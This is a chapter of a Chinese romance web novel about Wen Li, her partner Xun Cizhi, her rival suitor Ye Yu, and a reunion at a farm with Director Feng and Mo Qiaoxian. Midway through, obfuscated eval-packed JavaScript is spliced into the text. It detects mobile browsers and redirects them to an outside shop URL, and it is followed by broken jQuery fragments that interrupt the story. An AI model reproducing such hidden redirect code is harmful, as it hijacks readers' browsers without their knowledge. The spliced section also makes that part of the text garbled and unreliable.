被子蠕动中探出了一张小脸，“什么？”


    荀慈之道：“你找时间把书架清理了，腾腾位置。”


    “这么多啊，有我现在的好看吗？”温梨不相信。


    “不信？那下次再说。”荀慈之惋惜。


    温梨连忙道：“不要不要，这些书你都看完了，肯定和我品味一致，那这件事就拜托给你了。”


    “好。有什么辛苦费？”


    温梨歪了歪头，不吝啬地在他唇边落下一吻，“奖励，晚安。”


    做完后她又躺回了床上蒙起被子，未注意背后荀慈之逐渐深谙的眸色。


    事情就这样愉快的定了下来，书架上的孤品被一一放入箱子里封存，再摆进储物柜珍藏。


    重新满当当的书架上再没空间让旧书摆放。


    温梨每天抱着荀慈之购置的新书啃读，叶禹的电话一律不接，还换掉了门锁。


    荀慈之不知道从哪里淘来的东西，主角十之六七都逃不开他的本职。温梨笑他夹带私货，他道：“不好看么？”


    “好看是好看。”温梨附和，手里头却加紧时间势要拜读完他送的巨作，好能快点换个新鲜的题材。


    经过半个多月，莫荞纤、叶禹和父母都知道了她和荀慈之同居的事情。


    只有莫荞纤很高兴，祝贺温梨感情顺利，还聊到了她和院长现在途经的景点。


    其他人则不然。


    不仅是叶禹不爽荀慈之，温父温母皆不同意荀慈之的男友身份。


    “温梨，他的身体不行，工作又存在危险性。爸爸最多给你三个月时间，趁早和他分手。”温父出面劝阻道。


    温梨道：“爸爸，他人很好，我们同居的这些日子很合拍。那次手术真的是个意外，何况做医生的是为人民服务啊。”


    温父素来威严，没有单方面听取温梨的辩驳，说道：“给你时间自己考虑清楚。分，还是三个月后让我和你妈亲自和他说。”


    无奈结束这次会面，温梨把父母的这个消息告诉了荀慈之。


    “那你要和我分手么？”荀慈之深深看她。


    “当然不是了。”温梨惆怅道，“我是不知道该怎么处理。也许只能让他们先见到你才会改观了。”


    半年未到，她没有想过和他分手，双方不见面却不行了。


    “那就让我和伯父伯母见一面。”荀慈之将她抱进怀里。


    刻意为之的事故总有其负面性，双刃剑既是攻亦是退，他早就做好准备承担随之而来的后果。


    温梨无奈同意了。


    见面被迫提前，她平添了份紧张，比他本人都忐忑，不禁委婉提醒了好多话。但脖颈处传来的痒意和渐下的搓揉逐渐令人无暇顾及其他了。


    “慈之，别……”


    雪色绵延，她的眼睛变得湿漉漉地。


    太令人想玩坏。


    **


    西南边陲城市四季如春，莫荞纤和冯院长选择在这里长居，她一边学习植物培育知识，一边找了临工负担两人的日常开支。


    平淡的日子里是相依相偎的自在幸福。


    路过市集时莫荞纤给冯院长买了一束当季的茉莉花，奶酪和香料、蔬菜。


    她们租了一个带院子的小平房，自己做饭生火。


    “荞纤，你也有很久没有回去见见温梨了吧。”冯院长接过那束捧花，插在窗台的一个玻璃瓶里。


    其他的伙食被安排进厨房，分门别类的错落安放。


    莫荞纤答应道：“等到了月底我们就回去，已经和其他人也约好了碰面。”


    “好。”


    冯院长的身体在调理下已经好转许多，加之身心放松、病痛减轻，可以短暂脱离轮椅，每日给自己安排小范围的活动复健。


    而莫荞纤自己的病情也趋于稳定，将全部重心都放到了冯院长身上。


    旅居生活选择的地点距离均是由近及远，即使是坐飞机她也要选头等舱给院长最舒适的飞行体验，自己则挤去经济舱节省一部分开支。


    这趟回程依旧如此，休息了几日，所有人就按照约定在农场碰面了。


    见到莫荞纤和院长，众人纷纷露出迎接的激动目光。


    小春天看着不远处的院长，又看看面前的莫荞纤，说道：“荞纤，你把院长照顾的真好。”


    他们或有家庭、或有事业、或有说不出的苦衷，无法将从小到大尊敬的亲人时刻带在身边，是莫荞纤替他们完成了这个心愿。


    莫荞纤道：“这是应该的。”


    六六拍了拍她的肩膀，笑道：“我们都不如你，难怪冯妈妈从小就让我们向你学习。”


    若是以前她一定以为这是阴阳怪气的讽刺，极尽全力假装不在意地沉默走远，可随着误会解开，她明白他们是诚心诚意羡慕她能和院长朝夕相处，也很感激院长能够被体贴照顾。


    果然文文就在一旁道：“荞纤，你一个人忙的过来吗？其实我们商量着请一个护工，分摊你的工作量。”


    “这不是工作，我可以做到。”莫荞纤拒绝。


    几个人里属六六最开朗活泼，“就是说嘛，工作工作，冯妈妈等会听到以为自己被嫌弃了。”


    文文捂着嘴笑道：“不说了。”


    莫荞纤也发觉自己的语调有些冷硬，绽放出一个浅笑。


    大家有说有笑朝着院长所在的方向靠近聚拢。


    那边的冯院长正和温梨聊着天。


    “您想在这儿留个影吗？”温梨向一个方向指了指，“那边有一棵榕树，风景很好，等会大家可以一起合影。”


    院长同意了，“是个不错的提议。”


    “您最近身体怎么样？”温梨关心道。


    冯院长表示一切都好，望着另一边相谈甚欢的几人，开口说道：“温梨，荞纤的一些事我都隐隐听说了，但她从不和我主动提起，是不是怕我担心？”


    温梨惊讶了一下，立刻道：“不提也是想让您放宽心，那是过去的事情了，荞纤自己都处理好了。”


    院长道：“过去了这么久，她会不会……”


    温梨能懂院长的苦心，搀扶着她，“她现在有您陪着，不会做傻事。”


    冯院长这才安下心来，侧头对温梨露出慈蔼的笑。


    她和莫荞纤生活在一起，何尝不是想时刻陪伴着她，不让她轻易有悲观的念头。


    那些能够隐瞒起来的事永远不是密不透风的墙，她从曾经的邻居那里听到了些不大好的传闻。


    她们为着彼此考虑，隐瞒难处，互相想为对方疗伤。


    莫荞纤有着一个多么疼爱她的院长。温梨笑着退到了远一点的位置，让从小生活在一起的伙伴们围着院长继续寒暄。


    叶禹不知从哪个方位走了过来，“不过去一起？”


    温梨摇头道：“我就先不去凑热闹了，再等一会。”


    叶禹站在她身旁说道：“家里的门锁没必要换掉吧，我进不来都没法溜为迩了。”


    “慈之在。”温梨说，“你要陪为迩和我说，我提前给你开门。”


    “可你也不接我电话。”


    温梨道：“你好歹在正常时间打给我，不然慈之看到了会误会。”


    他们的感情日渐加深、浓情蜜意，叶禹即便想再多的招数和借口都掺合不进去。


    亲眼看着荀慈之自由出入温梨的住所，他却被踢除出局，嫉妒无处抒发，剩下不尽的无可奈何。


    偶尔夜深人静，也会想直白地问问温梨，那天的话作不作数，他能不能有一席之地？


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16555150|177448||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    终究是她曾经抗拒的反应，叫他望而生却。


    叶禹：“他见过伯父伯母了？”


    “对。”温梨苦恼道，“慈之每个月都抽出几天时间去陪爸妈，不知道他们什么时候能彻底改观呢？”


    叶禹不说话。


    温梨转头叮嘱，“叶禹，你不准再说慈之坏话了，我知道你是妈妈的情报员。”


    “伯母问起来我一向说的是实话，没有半点弄虚作假。”叶禹反驳，“你应该问问他，是不是做的不够好。”


    温梨也信叶禹不会做的太过分，可家人的误解太深，又有一个他做对照，想要他们立时转变态度，可能性也不高。


    叶禹道：“和他不合适就不要勉强。”


    “哪有不合适，是他们误会了。”温梨最不喜欢的就是叶禹时不时找茬的话语，狐疑地说，“我记得今天没有邀请你，你是怎么来的？”


    “荀慈之。”


    “慈之邀请你？”


    叶禹没否认。


    不仅邀请了，言辞要多简略有多简略，时间地点人物，多的一句都没说。


    有温梨在，叶禹不会不来。


    到地方才知道，原来是为了让他来见证他们感情的稳定与甜蜜。叶禹恨得牙痒。


    “慈之不计前嫌邀请你一起，就不要露出这副想揍人的表情了。”温梨拍了一下叶禹手臂道。


    “他故意挑衅我。”


    “好心邀请你怎么是挑衅？”温梨替荀慈之说话。


    “你不懂。”


    温梨：“你最懂。”


    “你是为了他和我吵架？”


    “是你不对。”


    他们不免拌起嘴了。


    荀慈之出现时，叶禹闷着一口气，眼底的情绪在冒火的边缘，被他轻飘飘一句点燃。


    荀慈之道：“温梨，晚上我们回家一趟，家里说是准备了节日礼品。”


    “家？”叶禹先开口质问，“是你家么？就胡言乱语。”


    荀慈之：“温梨家就是我家。”


    叶禹怒气冲冲地看他，温梨站到他们中间阻拦道：“好了好了，我都怕你们不喜欢对方不敢让你们有机会碰面，现在慈之都主动邀请了，叶禹，你们就握手言和嘛。”


    叶禹不肯。


    倒是荀慈之先伸出一只手，极为配合的模样。


    他的对手到现在还不懂如何正确捉住温梨的心，言和是怜悯败者的礼节。


    荀慈之淡笑了笑等待，看着叶禹不情不愿地伸出了手。


    两个人男人握手触碰的那一刻，力度大到想一掌捏碎对方。


    一触即离，一秒都不肯多。


    温梨点头满意道：“那现在你们就是好朋友了。”


    “谁和他是好朋友？！”叶禹咬牙切齿。


    温梨：“嗯？”


    “当然，是——很好的、朋、友。”叶禹拍了拍手，像是嫌弃，无比清晰地缓慢复述了一遍。


    ……


    有荀慈之和王阁的安排，众人在农场度过的一日分外悠闲。


    夕阳西下，大家围在湖边榕树下，合影被永远留存在镜头语言中。


    温梨双手比着耶，身体前倾笑容满满，左手边是手臂内收，两手交叠含蓄笑着的莫荞纤、慈爱的冯院长；右后方站着护住她，只露出一半侧身的荀慈之；叶禹也位于她右手边，单手插兜挤在一起；王阁站在最外侧，自然搭着叶禹的肩膀。


    其余人顺着冯院长依次排开，动作各异，神情搞怪，无不洋溢着欢笑与无限神采。


    洗出的照片被悬挂在木屋里的壁炉上方。莫荞纤站在那，缓缓伸出手摸了摸，内心感慨万千。


    这就是二十多年里，她心心念念渴望的幸福啊。


    近在咫尺，触手可及。